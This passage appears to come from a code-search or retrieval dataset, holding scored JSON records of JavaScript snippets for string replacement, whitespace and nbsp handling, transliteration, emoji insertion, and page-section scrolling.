http://groups.myspace.com/toolbar\n\t[/\\[(gr|group):(\\S.*?)\\]/gi, '<a href=\"http://groups.myspace.com/$2\">Myspace group: $2</a>'],\n\n\t// Auto-link naked URLs\n\t[/(\\s)http(s)*:(\\S*?)(\\s)/gi, '$1<a href=\"http$2:$3\">http$2:$3</a>$4'],\n\t\n\t// Links to wikipedia articles [[linked text]] (useful in fights)\n\t[/\\[\\[([\\s\\S]+?)\\]\\]/gi, '<a href=\"http://en.wikipedia.org/wiki/$1\">$1</a>']\n\n\t];\n\n\t// Runs through itself over and over until nothing changes, to handle nested quote tags and the like. \n\t// Uses \"for\" instead of \"while\" to prevent infinite loops from poorly written regexps. ;-)\n\tfor( j=0; j<=100; j++) {\n\t\tolds = s;\n\t\tfor( i=0; i < replacements.length; i++) {\n\t\t\ts = s.replace(replacements[i][0], replacements[i][1]);\n\t\t}\n\t\tif(olds == s) {break};\n\t}\n\t\n\treturn s\n}", "title": "" }, { "docid": "aab03cc190dd91a4a0f544c9be1a7fb4", "score": "0.5493465", "text": "function uni_Smush(ch1, ch2, hardBlank) {\n if (ch2 === \" \" || ch2 === \"\") {\n return ch1;\n } else if (ch2 === hardBlank && ch1 !== \" \") {\n return ch1;\n } else {\n return ch2;\n }\n }", "title": "" }, { "docid": "98563ea88bfddc538f76fb76d1e1e512", "score": "0.54770005", "text": "function encodeWhiteSpaces(str) {\n return str.split('').map(function (c) {\n if (c === ' ') {\n return '&nbsp;&nbsp;'\n } else {\n return c;\n }\n }).join('');\n}", "title": "" }, { "docid": "c2342d51264308865ec1c886252b9371", "score": "0.5463141", "text": "function replaceHyphonsWithSpace(str){\r\n return str.replace(/-/g, ' ');\r\n}", "title": "" }, { "docid": "9652a8e88d789d56536dc0fb73b10a9f", "score": "0.54504484", "text": "function insertSpaces(query) {\n var newQuery = \"\";\n\n for (var i = 0; i < query.length; i++)\n {\n if (query[i] == \" \" || (i + 1 < query.length && query[i + 1] == \" \"))\n newQuery = newQuery + query[i];\n else\n newQuery = newQuery + query[i] + \"<span style=\\\"font-size: 0px;\\\"> </span>\";\n }\n\n return newQuery;\n}", "title": "" }, { "docid": "8a8fe9d00b42f23aa15e9bafe80694c8", "score": "0.5444657", "text": "function OAndOuKarModification(field, CH1, CH2)\r\n{\r\n\tif (document.selection) \r\n\t{\r\n\t\tfield.focus();\r\n\t\tsel = document.selection.createRange();\r\n\t\tif (field.value.length >= 1)\r\n\t\t\tsel.moveStart('character', -1); \r\n\t\tif(sel.text.charAt(0) == 'ে')\r\n\t\t\tsel.text = CH1;\r\n\t\telse\r\n\t\t\tsel.text = sel.text.charAt(0) + CH2;\r\n\t\tsel.collapse(true);\r\n\t\tsel.select();\r\n\t}\r\n\telse if (field.selectionStart || field.selectionStart == 0)\r\n\t{\r\n\t\tvar startPos = field.selectionStart-1;\r\n\t\tvar endPos = field.selectionEnd;\r\n\t\tvar scrollTop = field.scrollTop;\r\n\t\tvar CH;\r\n\t\tstartPos = (startPos == -1 ? field.value.length : startPos );\r\n\t\tif(field.value.substring(startPos, startPos+1) == \"ে\")\r\n\t\t\tCH = CH1;\r\n\t\telse\r\n\t\t{\r\n\t\t\tstartPos=startPos+1;\r\n\t\t\tCH = CH2;\r\n\t\t}\r\n\t\tfield.value = field.value.substring(0, startPos)\r\n\t\t\t+ CH\r\n\t\t\t+ field.value.substring(endPos, field.value.length);\r\n\t\tfield.focus();\r\n\t\tfield.selectionStart = startPos + CH.length;\r\n\t\tfield.selectionEnd = startPos + CH.length;\r\n\t\tfield.scrollTop = scrollTop;\r\n\t}\r\n\r\n}", "title": "" }, { "docid": "a7be097546409c0a346ba4b4d84f1730", "score": "0.5426511", "text": "function space(x) {\n return x.replace(/([a-z])([A-Z])/g, \"$1 $2\");\n}", "title": "" }, { "docid": "d7c8a9fe4a1c250387040a4e70b8685c", "score": "0.5409414", "text": "function nonsenseChinesePhrase() {\n // U0530 - U18B0 all unicode (lots of trains for some reason)\n // var word = getRandomKatakana() + \" \" + getRandomKatakana() + \" \" + getRandomKatakana();\n var word = getRandomChineseCharacter() + \" \" + getRandomChineseCharacter();\n word = encodeURIComponent(word);\n return word;\n}", "title": "" }, { "docid": "0dbe039e935043f64e09688c9ea2de05", "score": "0.54088885", "text": "function specialCharacters(code) {\n return code.replace(/\\t/g, '&nbsp;&nbsp;');\n }", "title": "" }, { "docid": "4f8d198abf6182ea26b9ce59b8a8b372", "score": "0.54027164", "text": "function InsertSpaces(line, pos, count)\r\n\t{\r\n\t\tvar left\t= line.substr(0, pos);\r\n\t\tvar right\t= line.substr(pos + 1, line.length);\t// pos + 1 will get rid of the tab\r\n\t\tvar spaces\t= '';\r\n\t\t\r\n\t\tfor(var i = 0; i < count; i++)\r\n\t\t\tspaces += ' ';\r\n\t\t\r\n\t\treturn left + spaces + right;\r\n\t}", "title": "" }, { "docid": "c8dd87e1fc905e92e38a93d3fa3b42bc", "score": "0.5397035", "text": "function convertToSpaces(phrase) {\n phrase = phrase.replaceAll(/%20/g, \" \");\n return phrase.replace(moreInfo, \"\");\n}", "title": "" }, { "docid": "99ea6f69dd16de3d2703814416300611", "score": "0.5395129", "text": "function InsertSpaces(line, pos, count)\n\t{\n\t\tvar left\t= line.substr(0, pos);\n\t\tvar right\t= line.substr(pos + 1, line.length);\t// pos + 1 will get rid of the tab\n\t\tvar spaces\t= '';\n\t\t\n\t\tfor(var i = 0; i < count; i++)\n\t\t\tspaces += ' ';\n\t\t\n\t\treturn left + spaces + right;\n\t}", "title": "" }, { "docid": "efb3f30a70c83f4118680fdb6e36f2d4", "score": "0.5387753", "text": "function addSpace(contactDetails, str){\r\n if(contactDetails.text()!=\"\") {\r\n return \" \"+str;\r\n }\r\n}", "title": "" }, { "docid": "881e7c2958fd6254694744ef18c99ec1", "score": "0.537312", "text": "function replaceSpace(str) {\n return str.replace(/^(\\s|\\u00A0)+/, '').replace(/(\\s|\\u00A0)+$/, '')\n}", "title": "" }, { "docid": "ebcbd54da408f8bf5e22aacc7e5c4053", "score": "0.53665817", "text": "function wrapSpace(s){\n if (s === \" \"){\n return \"' '\";\n }\n else {\n return s;\n }\n}", "title": "" }, { "docid": "f0e8094526f7adebaff4b07ac2a10f41", "score": "0.53646773", "text": "function nonBreakingSpaces(str) {\n return str.replace(/ /g, \"&nbsp;\");\n}", "title": "" }, { "docid": "09be6d120a62391309713398b5efcefc", "score": "0.5362828", "text": "function myReplace(str, before, after) {\n if (before.charCodeAt(0) >= 65 && before.charCodeAt(0) <= 90) {\n after = after.charAt(0).toUpperCase() + after.substring(1);\n }\n var strArray = str.split(\" \");\n for (var i = 0; i < strArray.length; i++) {\n if (strArray[i] === before) {\n strArray[i] = after;\n }\n }\n str = strArray.join(' ');\n return str;\n}", "title": "" }, { "docid": "b2618e9b92e92af7a85ca56d6dbfe515", "score": "0.5357227", "text": "function addSpaceBeforeChar(className) {\n $(\".\"+className).each(function () {\n $(this).on(\"keyup\", function(){\n var str = $(this).val(); // retrive the inputs\n str = str.replace(WHITESPACE, \"\"); //remove whitespace from input first\n var result = str.replace(ALPHA, \"$& \"); //add space before char or string\n $(this).val(result); // return back the inputs\n });\n });\n }", "title": "" }, { "docid": "72d62a9d11cdd0268f9d5b5192214642", "score": "0.5356733", "text": "function join_char(c1,c2){\n return c1;\n}", "title": "" }, { "docid": "930d246d479575da14cc6d74843a72e3", "score": "0.5338399", "text": "codeMapReplace(str, ignoreRanges = [], opt) {\n let index = 0;\n let result = '';\n const strContainsChinese = opt.fixChineseSpacing && utils_1.hasChinese(str);\n let lastCharHasChinese = false;\n for (let i = 0; i < str.length; i++) {\n // Get current character, taking surrogates in consideration\n const char = /[\\uD800-\\uDBFF]/.test(str[i]) && /[\\uDC00-\\uDFFF]/.test(str[i + 1])\n ? str[i] + str[i + 1]\n : str[i];\n let s;\n let ignoreFixingChinese = false;\n switch (true) {\n // current character is in ignored list\n case utils_1.inRange(index, ignoreRanges):\n // could be UTF-32 with high and low surrogates\n case char.length === 2 && utils_1.inRange(index + 1, ignoreRanges):\n s = char;\n // if it's the first character of an ignored string, then leave ignoreFixingChinese to true\n if (!ignoreRanges.find((range) => range[1] >= index && range[0] === index)) {\n ignoreFixingChinese = true;\n }\n break;\n default:\n s = this.map[char] || opt.unknown || '';\n }\n // fix Chinese spacing issue\n if (strContainsChinese) {\n if (lastCharHasChinese &&\n !ignoreFixingChinese &&\n !utils_1.hasPunctuationOrSpace(s)) {\n s = ' ' + s;\n }\n lastCharHasChinese = !!s && utils_1.hasChinese(char);\n }\n result += s;\n index += char.length;\n // If it's UTF-32 then skip next character\n i += char.length - 1;\n }\n return result;\n }", "title": "" }, { "docid": "2ff11c262676edaf556f566348142189", "score": "0.5332776", "text": "function myReplace(str, before, after) {\n\n if (before[0].match(/[A-Z]/)) {\n if (after[0].match(/[a-z]/)) {\n after = String.fromCharCode(after.charCodeAt(0) - 32) + after.substring(1)\n }\n }\n\n str = str.replace(before, after);\n console.log(str);\n return str;\n}", "title": "" }, { "docid": "ebab98e616e8fb042a6b96d92f218828", "score": "0.53186643", "text": "function annoyed(){\n vm.input = vm.input.concat(\"😒\");\n }", "title": "" }, { "docid": "6bfcdb906fffc2f59d0d0c4edb1da835", "score": "0.5316874", "text": "function concatStringsWithSpace(before, after) {\n return before == null || before === '' ? after === null ? '' : after : after == null || after === '' ? before : before + ' ' + after;\n }", "title": "" }, { "docid": "801b9ef21460863bc08e1011321794ee", "score": "0.5303907", "text": "function insertChr(str,chr) {\n chr = chr || ', '; //=> default is space\n return str.replace(/(.(?!$))/g,'$1'+chr);\n}", "title": "" }, { "docid": "f851d3da1c473b6be76f35f8666b84ff", "score": "0.5299821", "text": "function mixUp(str1, str2)\n{\n var firstChar1 = str1.slice(0,1);\n var firstChar2 = str2.slice(0,1);\n var replace1 = str1.replace(firstChar1, firstChar2);\n var replace2 = str2.replace(firstChar2, firstChar1);\n var returnValue = replace1 + \" \" + replace2;\n return returnValue;\n}", "title": "" }, { "docid": "662dbb3a2906174353a8729c7d4367a8", "score": "0.5288715", "text": "function charReplace(server_output){\n\treturn server_output.replace(/\\\\n/g,\"<br/>\")\n\t\t\t\t\t\t.replace(/\\\\'/g,\"'\");\n}", "title": "" }, { "docid": "9523aeb92a30d17387bb4ba3d4315fca", "score": "0.5281022", "text": "function surprised(){\n vm.input = vm.input.concat(\"😮\");\n }", "title": "" }, { "docid": "14b3f39743f2da45ea255204da651581", "score": "0.5263312", "text": "function concatStringsWithSpace(before, after) {\n return before == null || before === '' ? after === null ? '' : after : after == null || after === '' ? before : before + ' ' + after;\n }", "title": "" }, { "docid": "14b3f39743f2da45ea255204da651581", "score": "0.5263312", "text": "function concatStringsWithSpace(before, after) {\n return before == null || before === '' ? after === null ? '' : after : after == null || after === '' ? before : before + ' ' + after;\n }", "title": "" }, { "docid": "bcc7523421daea6d05589d8e68982f19", "score": "0.5262709", "text": "function insertSpaces(line, pos, count) {\n\t return line.substr(0, pos) + spaces.substr(0, count) + line.substr(pos + 1, line.length) // pos + 1 will get rid of the tab\n\t ;\n\t }", "title": "" }, { "docid": "1ddb27c2b954c264eae63b70c327c8fa", "score": "0.52604866", "text": "function normalizeSpaces(text)\n{\n // IE has already done this conversion, so doing it again will remove multiple nbsp\n if (browserVersion.isIE)\n {\n return text;\n }\n\n // Replace multiple spaces with a single space\n // TODO - this shouldn't occur inside PRE elements\n text = text.replace(/\\ +/g, \" \");\n\n // Replace &nbsp; with a space\n var nbspPattern = new RegExp(String.fromCharCode(160), \"g\");\n if (browserVersion.isSafari) {\n return replaceAll(text, String.fromCharCode(160), \" \");\n } else {\n return text.replace(nbspPattern, \" \");\n }\n}", "title": "" }, { "docid": "1d5188699010bd968c246ede26d22ecb", "score": "0.52451307", "text": "function insertWhitespace(s) {\n return s.split(\"\").map((i, index)=>{\n if(index!==0)\n if(i !== i.toLowerCase())\n return \" \"+i;\n return i;\n }).join(\"\");\n\n}", "title": "" }, { "docid": "0be3e5e9036271815113edc58d775cca", "score": "0.52004015", "text": "function fillWhitespace(thing) {\n var txt = $(thing).text();\n var txt2 = \"\";\n var i = 0;\n for(i = 0; i < txt.length; i++) {\n if(txt[i] == \" \") {\n txt2 += \"&nbsp;\";\n }\n else\n txt2 += txt[i];\n }\n return txt2;\n}", "title": "" }, { "docid": "4f59e48a99893f5b7a40f890183553de", "score": "0.5189655", "text": "function AddSpacing(spaces)\n{\n var spacing = \"\";\n\n for(var i = 0; i < spaces; i++)\n spacing += \"&nbsp;\";\n\n return spacing;\n}", "title": "" }, { "docid": "520c5bc4b868287607a1de5ac92cbed1", "score": "0.51872545", "text": "function widont( string ) {\n return string.replace( Private.regexp, \"&#160;$1\" );\n }", "title": "" }, { "docid": "6f44d8a1cf6cd80229de25ef6bef6453", "score": "0.51854885", "text": "function spaceU(str){\n // Placeholder initiated\n var string = str\n // 3,2,1, TAKEOFF\n return(string.replace(/[^A-Z0-9]/ig, \"_\").toLowerCase());\n }", "title": "" }, { "docid": "0370fe02c5aaabf48f3e3092e6c09757", "score": "0.5183826", "text": "function smiley(){\n vm.input = vm.input.concat(\"😁\");\n }", "title": "" }, { "docid": "64bfae7941d0b24bf8fc6d4ca6326bb1", "score": "0.51752275", "text": "function nToChar(n) {\n return n ? '\\u2588' : ' '\n }", "title": "" }, { "docid": "c473e0de88fadfb9aca812c63e21722f", "score": "0.5170097", "text": "function doubleChar(str) {\n return str.replace(/(.)/g, \"$1$1\" );\n}", "title": "" }, { "docid": "f3f4313d74d26143b24c63878e83c36c", "score": "0.51690364", "text": "function replaceWhiteSpaces(text) {\n var i, result = '',\n len = text.length;\n\n for (i = 0; i < len; i += 1) {\n if (text[i] === ' ') {\n result += '&nbsp;';\n } else {\n result += text[i];\n }\n }\n\n return result;\n}", "title": "" }, { "docid": "bb390da87b50134918b3cf61d81b9552", "score": "0.516407", "text": "function replacespcaes(str) {\n return str.replace(\" \", \"%20\")\n}", "title": "" }, { "docid": "832d66dd1cf4da37087897eafbcba3eb", "score": "0.51613355", "text": "function addWhiteSpaces(nbSpaces) {\n let result = '';\n for (let i = 0; i < nbSpaces; i++) {\n result += ' ';\n }\n return result;\n}", "title": "" }, { "docid": "bdbe7c87893aae6a8714bf72b8a39cfc", "score": "0.5159823", "text": "function prepend(w, s) {\n return s + w;\n}", "title": "" }, { "docid": "6671d6dd31072bdbf92544d2e1dad31b", "score": "0.5144754", "text": "function printLatinWord(word){\r\n\t// combine the word without its first letter, then the first letter, then 'ay'.\r\n\treturn word.slice(1) + word.slice(0, 1) + \"ay \";\r\n}", "title": "" }, { "docid": "97aa4a1fa084247092b857af8feef004", "score": "0.5127767", "text": "function changeToDashes(letters){\n var dashes = \"\";\n for (var i = 0; i < letters.length; i++) {\n dashesCurrentWord.push(\" _ \");\n }\n}", "title": "" }, { "docid": "a1c2d0e4e70faccc36af80af9bbe1141", "score": "0.5117481", "text": "function replaceSpace(x){\n var array = x.split('');\n for(i=0;i<=array.length;i++){\n if (array[i] == ' ') {\n array.splice(i,1,'%20');\n }\n }\n return array.join('');\n}", "title": "" }, { "docid": "271008162ea3a9e67e5d1adb79eb0a94", "score": "0.511716", "text": "function insertSpaces(line, pos, count)\n{\n return line.substr(0, pos)\n + spaces.substr(0, count)\n + line.substr(pos + 1, line.length) // pos + 1 will get rid of the tab\n ;\n}", "title": "" }, { "docid": "fec49a89203bdb077ef00e99919a31f2", "score": "0.510896", "text": "specialEncode (str) {\n\t\treturn str.replace(/:/g, '***(_colon_)').replace(/\\//g, '***(_slash_)');\n\t}", "title": "" }, { "docid": "5178502dbd5b5e3377bde6f1f6e3f50d", "score": "0.5106567", "text": "function meh(){\n vm.input = vm.input.concat(\"😕\");\n }", "title": "" }, { "docid": "e13f1ad68f2016e02da00e8591eb2d4d", "score": "0.5103977", "text": "function replaceSpace(text) {\n\treturn text.replace(/\\r/g, \"\").replace(/\\n/g, \" \");\n}", "title": "" }, { "docid": "e7df4d3ab23459ddcde116220f940f23", "score": "0.51030344", "text": "function insertBr(str, p1, p2, offset, s) {\r\n return '<br />' + str;\r\n }", "title": "" }, { "docid": "62e921dc66222626682050ad2ea76a3a", "score": "0.5099713", "text": "function updateMovieTitle( answer ) {\n $k = $('.shown-letter:first');\n for ( i in answer ) {\n\tif ( answer.charAt(i) != '_' ) {\n\t $k.addClass('shown-space').text( answer.charAt(i) );\n\t} else { \n\t $k.addClass('shown-letter').html('&nbsp;');\n\t}\n\t$k = $k.next();\n }\n}", "title": "" }, { "docid": "98dec322f5a00b6fad16e8fcbb66af47", "score": "0.50991964", "text": "function autoEdWhitespace(str) { //MAIN FUNCTION describes list of fixes\n \n str = str.replace(/\\t/g, \" \");\n \n str = str.replace(/^ ? ? \\n/gm, \"\\n\");\n str = str.replace(/(\\n\\n)\\n+/g, \"$1\");\n str = str.replace(/== ? ?\\n\\n==/g, \"== \\n ==\");\n str = str.replace(/\\n\\n(\\* ?\\[?http)/g, \"\\n$1\");\n \n str = str.replace(/^ ? ? \\n/gm, \"\\n\");\n str = str.replace(/\\n\\n\\*/g, \"\\n*\");\n str = str.replace(/[ \\t][ \\t]+/g, \" \");\n str = str.replace(/([=\\n]\\n)\\n+/g, \"$1\");\n str = str.replace(/ \\n/g, \"\\n\");\n \n //* bullet points\n str = str.replace(/^([\\*#]+:*) /gm, \"$1\");\n str = str.replace(/^([\\*#]+:*)/gm, \"$1 \");\n \n //==Headings==\n str = str.replace(/^(={1,4}) ?(.*?) ?(={1,4})$/gm, \"$1 $2 $3\");\n return str;\n}", "title": "" }, { "docid": "b4999ccd8dba0ba269d22ffb0b56e920", "score": "0.5099193", "text": "function splitSpaces(text, trailingBefore) {\n\t\t if (text.length > 1 && !/ /.test(text)) { return text }\n\t\t var spaceBefore = trailingBefore, result = \"\";\n\t\t for (var i = 0; i < text.length; i++) {\n\t\t var ch = text.charAt(i);\n\t\t if (ch == \" \" && spaceBefore && (i == text.length - 1 || text.charCodeAt(i + 1) == 32))\n\t\t { ch = \"\\u00a0\"; }\n\t\t result += ch;\n\t\t spaceBefore = ch == \" \";\n\t\t }\n\t\t return result\n\t\t }", "title": "" }, { "docid": "bae1f2b9f27fcbd2982080ac41783798", "score": "0.5098732", "text": "function cute(){\n vm.input = vm.input.concat(\"😊\");\n }", "title": "" }, { "docid": "beff1888242ff439baab6f35553ed064", "score": "0.5093802", "text": "function elimine2Spaces(str) {\n\tvar s = str.replace(/\\t+/g, ' ');\n\ts = s.replace(/\\s\\s+/g, ' ');\n\treturn s;\n}", "title": "" }, { "docid": "9b7fb0db0aafa7d2f8d6db6ac73017ff", "score": "0.5092353", "text": "function qctrim(s) {\r\n\ts = s.replace(/(^\\s*)|(\\s*$)/gi,\"\");\r\n\ts = s.replace(/[ ]{2,}/gi,\" \");\r\n\ts = s.replace(/\\n /,\"\\n\");\r\n\treturn s;\r\n}", "title": "" }, { "docid": "ae7249fae9005c787b6253732080cc3c", "score": "0.508239", "text": "function wrapWith(text, char, endChar) {\n\treturn char + text + (endChar || char)\n}", "title": "" }, { "docid": "534edebb9adf7748f550382efb35c46c", "score": "0.5081008", "text": "function insertSpacer(place)\n{\n\tvar e = document.createTextNode(String.fromCharCode(160));\n\tif(place)\n\t\tplace.appendChild(e);\n\treturn e;\n}", "title": "" }, { "docid": "a09cb21d6da8f610ad2d693c84e117f1", "score": "0.5073117", "text": "function space(str) {\n return str.split('').join(' ');\n}", "title": "" }, { "docid": "18401e283c49ee6455e79daa9fba5c64", "score": "0.5056921", "text": "function _coalesceOutput(str){\n\t\treturn typeof(str) == \"undefined\" ? \"&nbsp\" : str;\n\t}", "title": "" }, { "docid": "f449aa971d3e783ad9c82b5aa8a2437d", "score": "0.50557625", "text": "function addSpace(count) {\n var space = \"\";\n for(i = 0; i < count; i++) {\n space += \"&nbsp;\";\n }\n return space;\n}", "title": "" }, { "docid": "7394a9f7cfc97683c5401cba302686b6", "score": "0.50556797", "text": "function addChar(char) {\n for (var index = 0; index < chosenWord.length; index++) {\n if (chosenWord[index] === char) {\n blankWord = (blankWord.replaceAt(index, char));\n SpaceInWord();\n console.log(spacedWord);\n countUp++;\n $(\"#theWord\").text(spacedWord);\n //document.getElementById(\"animeImage\").src = \"\";\n }\n }\n }", "title": "" }, { "docid": "8bf62f7cb170ed7abde18686cde32d2c", "score": "0.5054388", "text": "function outdentOneSpace() {\n utilitymanager_1.um.utilityManager({\n utilType: utilitymanager_1.um.TIXUtilityType.utLineUtility,\n sp: utilitymanager_1.um.TIXSelPolicy.All,\n }, function (up) { return up.intext !== '' && up.intext[0] === ' ' ?\n up.intext.substr(1) : up.intext; });\n }", "title": "" }, { "docid": "3d002546e80540fef47a3de67c2ae2d3", "score": "0.5051139", "text": "function addSpaces(value) {\n if(typeof(value) == typeof(undefined)) {\n return value;\n }\n\n var parsedValue = value.toString()\n .replace(/[^\\d]/g, '')\n .replace(/(.{4})/g, '$1 ').trim()\n .replace(/\\/$/, '');\n return parsedValue.slice(0,19);\n }", "title": "" }, { "docid": "0ecd4de337656fcc32cbc5c0bbf6af2b", "score": "0.50463283", "text": "function fixSpaces(string) {\n if (string.charAt(0) == \" \") string = nbsp + string.slice(1);\n return string.replace(/\\t/g, function(){return makeWhiteSpace(indentUnit);})\n .replace(/[ \\u00a0]{2,}/g, function(s) {return makeWhiteSpace(s.length);});\n}", "title": "" }, { "docid": "930e349de93515da95391c188dd8ce80", "score": "0.5041972", "text": "function flat(){\n vm.input = vm.input.concat(\"😐\");\n }", "title": "" }, { "docid": "c3d8dcfe419ef53ff038c470d0bc4161", "score": "0.5035927", "text": "function whiteSpace() {\r\n const player = GetPlayer();\r\n const goodNamejs = player.GetVar(\"userName\");\r\n\r\n const wSpacejs = goodNamejs.indexOf(' ') >=0;\r\n\r\n player.SetVar(\"wSpace\", wSpacejs);\r\n}", "title": "" }, { "docid": "71cabc824b40cbf8aff734249a1044f0", "score": "0.50198656", "text": "function update(str1,str2){\n chatter[chatpoint] = \" \\n> \" + str1; chatter[chatpoint] += \"\\n> \" + str2; chatpoint ++ ; if( chatpoint >= chatmax ){ chatpoint = 0; }\n return write();\n}", "title": "" }, { "docid": "f5ff783a4f757988a5cc133738ce64ee", "score": "0.50184256", "text": "function main2win(inputString)\r\n{\r\n var mainStr = \" .<(+|$)*¬;%,?>#@'=¢ABCDEFHG!IJLKMNPOQR_TSUWVXY\\\"&/: -Z 0123456789\",\r\n\t\twindStr = \" اابپتثججچچححخخدذرزژسشصضطظععغغفققكگلللممننوههييئ* -- 0123456789\",\r\n\t\tbigsStr = \";,>GIKO_SVY*\",\r\n\t\ttempLatin = \"\",\r\n\t\tnewString = \" \",\r\n\t\tlength = inputString.length;\r\n\t\tinputString = inputString + \" \";\r\n for (var i=length; i>=0; i--)\r\n {\r\n var myChar = inputString.substr(i, 1);\r\n var myCharPosition = mainStr.indexOf(myChar);\r\n if (myCharPosition >=0 )\r\n {\r\n if (tempLatin.length > 0)\r\n {\r\n newString = newString + tempLatin + \" \";\r\n tempLatin = \"\";\r\n }\r\n if (myChar == \"Q\")\r\n\t {\r\n newString = newString + \"لا\";\r\n }\r\n else\r\n {\r\n newString = newString + windStr.substr(myCharPosition, 1);\r\n if (bigsStr.indexOf(myChar) > -1)\r\n newString = newString + \" \";\r\n }\r\n }\r\n else\r\n {\r\n tempLatin = myChar + tempLatin;\r\n }\r\n myOldChar = myChar;\r\n myOldCharPosition = myCharPosition;\r\n }\r\n\r\n return newString;\r\n}", "title": "" }, { "docid": "a12553010d1b5a7b901029b90ae55914", "score": "0.50148684", "text": "function myReplace(str, before, after) {\r\n var arr = [];\r\n arr = str.split(\" \");\r\n \r\n for(var i = 0; i < arr.length; i++){\r\n if(arr[i]===before){\r\n if(arr[i].charCodeAt(0) <= 90){\r\n var up = after.substr(0,1).toUpperCase();\r\n var rest = after.substr(1);\r\n after = up+rest;\r\n arr[i] = after;\r\n }\r\n else{\r\n arr[i] = after;\r\n }\r\n }\r\n }\r\n str = arr.join(\" \");\r\n return str;\r\n}", "title": "" }, { "docid": "e112007de2b183e062147bf8a709096c", "score": "0.500629", "text": "function concatStringsWithSpace(before, after) {\n return before == null || before === '' ? after === null ? '' : after : after == null || after === '' ? before : before + ' ' + after;\n}", "title": "" }, { "docid": "ca281c73b9ef92c33c7fc1dee8401d41", "score": "0.5002782", "text": "function giveSpace(){\n console.log(displayLocation.textContent);\n console.log(displayLocation.textContent.length);\n //var spaceValue = \"&nbsp\"; \n displayLocation.innerHTML += \"&nbsp\";\n \n \n}", "title": "" }, { "docid": "d37b42b198264498de830007810d6bf0", "score": "0.4989525", "text": "function splitSpaces(text, trailingBefore) {\n if (text.length > 1 && !/ /.test(text)) { return text }\n var spaceBefore = trailingBefore, result = \"\";\n for (var i = 0; i < text.length; i++) {\n var ch = text.charAt(i);\n if (ch == \" \" && spaceBefore && (i == text.length - 1 || text.charCodeAt(i + 1) == 32))\n { ch = \"\\u00a0\"; }\n result += ch;\n spaceBefore = ch == \" \";\n }\n return result\n }", "title": "" }, { "docid": "d37b42b198264498de830007810d6bf0", "score": "0.4989525", "text": "function splitSpaces(text, trailingBefore) {\n if (text.length > 1 && !/ /.test(text)) { return text }\n var spaceBefore = trailingBefore, result = \"\";\n for (var i = 0; i < text.length; i++) {\n var ch = text.charAt(i);\n if (ch == \" \" && spaceBefore && (i == text.length - 1 || text.charCodeAt(i + 1) == 32))\n { ch = \"\\u00a0\"; }\n result += ch;\n spaceBefore = ch == \" \";\n }\n return result\n }", "title": "" }, { "docid": "d37b42b198264498de830007810d6bf0", "score": "0.4989525", "text": "function splitSpaces(text, trailingBefore) {\n if (text.length > 1 && !/ /.test(text)) { return text }\n var spaceBefore = trailingBefore, result = \"\";\n for (var i = 0; i < text.length; i++) {\n var ch = text.charAt(i);\n if (ch == \" \" && spaceBefore && (i == text.length - 1 || text.charCodeAt(i + 1) == 32))\n { ch = \"\\u00a0\"; }\n result += ch;\n spaceBefore = ch == \" \";\n }\n return result\n }", "title": "" }, { "docid": "d37b42b198264498de830007810d6bf0", "score": "0.4989525", "text": "function splitSpaces(text, trailingBefore) {\n if (text.length > 1 && !/ /.test(text)) { return text }\n var spaceBefore = trailingBefore, result = \"\";\n for (var i = 0; i < text.length; i++) {\n var ch = text.charAt(i);\n if (ch == \" \" && spaceBefore && (i == text.length - 1 || text.charCodeAt(i + 1) == 32))\n { ch = \"\\u00a0\"; }\n result += ch;\n spaceBefore = ch == \" \";\n }\n return result\n }", "title": "" }, { "docid": "d37b42b198264498de830007810d6bf0", "score": "0.4989525", "text": "function splitSpaces(text, trailingBefore) {\n if (text.length > 1 && !/ /.test(text)) { return text }\n var spaceBefore = trailingBefore, result = \"\";\n for (var i = 0; i < text.length; i++) {\n var ch = text.charAt(i);\n if (ch == \" \" && spaceBefore && (i == text.length - 1 || text.charCodeAt(i + 1) == 32))\n { ch = \"\\u00a0\"; }\n result += ch;\n spaceBefore = ch == \" \";\n }\n return result\n }", "title": "" }, { "docid": "d37b42b198264498de830007810d6bf0", "score": "0.4989525", "text": "function splitSpaces(text, trailingBefore) {\n if (text.length > 1 && !/ /.test(text)) { return text }\n var spaceBefore = trailingBefore, result = \"\";\n for (var i = 0; i < text.length; i++) {\n var ch = text.charAt(i);\n if (ch == \" \" && spaceBefore && (i == text.length - 1 || text.charCodeAt(i + 1) == 32))\n { ch = \"\\u00a0\"; }\n result += ch;\n spaceBefore = ch == \" \";\n }\n return result\n }", "title": "" } ]
bb2726e93ae636299b9986b5bb00bc9c
Fits the site to the nearest active section
[ { "docid": "b36f5804569dcd011c5ae2b52c9ebcf0", "score": "0.0", "text": "function fitToSection(){\n //checking fitToSection again in case it was set to false before the timeout delay\n if(canScroll){\n //allows to scroll to an active section and\n //if the section is already active, we prevent firing callbacks\n isResizing = true;\n\n scrollPage($(SECTION_ACTIVE_SEL)[0]);\n isResizing = false;\n }\n }", "title": "" } ]
[ { "docid": "49a43516854f226c5687a763c3d0c4f2", "score": "0.6805512", "text": "function activePage() {\n //for every section in sections\n for (section of allSection) {\n //Page Position\n const topValue = section.getBoundingClientRect().top;\n //when page position in the top of window\n if (topValue >= 0 && topValue <= 300) {\n section.classList.add('your-active-class');\n\n } else {\n section.classList.remove('your-active-class');\n }\n }\n}", "title": "" }, { "docid": "559d3d634879430e0e55ead39824526f", "score": "0.67817414", "text": "function activeView() {\n sections.forEach((section) => {\n let activeSection = menu.querySelector(`[data-nav=${section.id}]`);\n menu.querySelector(`[data-nav=${section.id}]`).classList\n if (viewPort(section)) {\n if (!section.classList.contains('active')) {\n // Add class 'active' to section when near top of viewport\n section.classList.add('active');\n activeSection.classList.add('activeLink');\n }\n } else {\n section.classList.remove('active');\n activeSection.classList.remove('activeLink');\n\n }\n });\n}", "title": "" }, { "docid": "76daed3f974b156f42d6a6a25af6f576", "score": "0.6683291", "text": "function activeSection(){\n allSections.forEach((section) => {\n\n let rect = section.getBoundingClientRect();\n if (rect.top >= 0 && rect.top <= 150) {\n allSections.forEach((section) => {\n section.classList.remove('your-active-class');\n\n });\n section.classList.add('your-active-class');\n active_link(section);\n };\n\n });\n\n\n\n\n\n}", "title": "" }, { "docid": "800a9dd9ac947a94f2a07ed29d1d4f6e", "score": "0.6581401", "text": "function getActive() {\n sections.forEach(section => {\n const bounding = section.getBoundingClientRect();\n const sectionLink = document.querySelector(`a[href=\"#${section.getAttribute('id')}\"]`);\n const sectionHalfShown = section.offsetTop - (section.offsetHeight * 0.5);\n const sectionBehind = section.offsetTop + (section.offsetHeight * 0.5);\n if (\n (bounding.top >= 0) &&\n (bounding.left >= 0) &&\n (Math.floor(bounding.right) <= window.innerWidth) &&\n (window.pageYOffset > sectionHalfShown) && (window.pageYOffset <= sectionBehind)) {\n 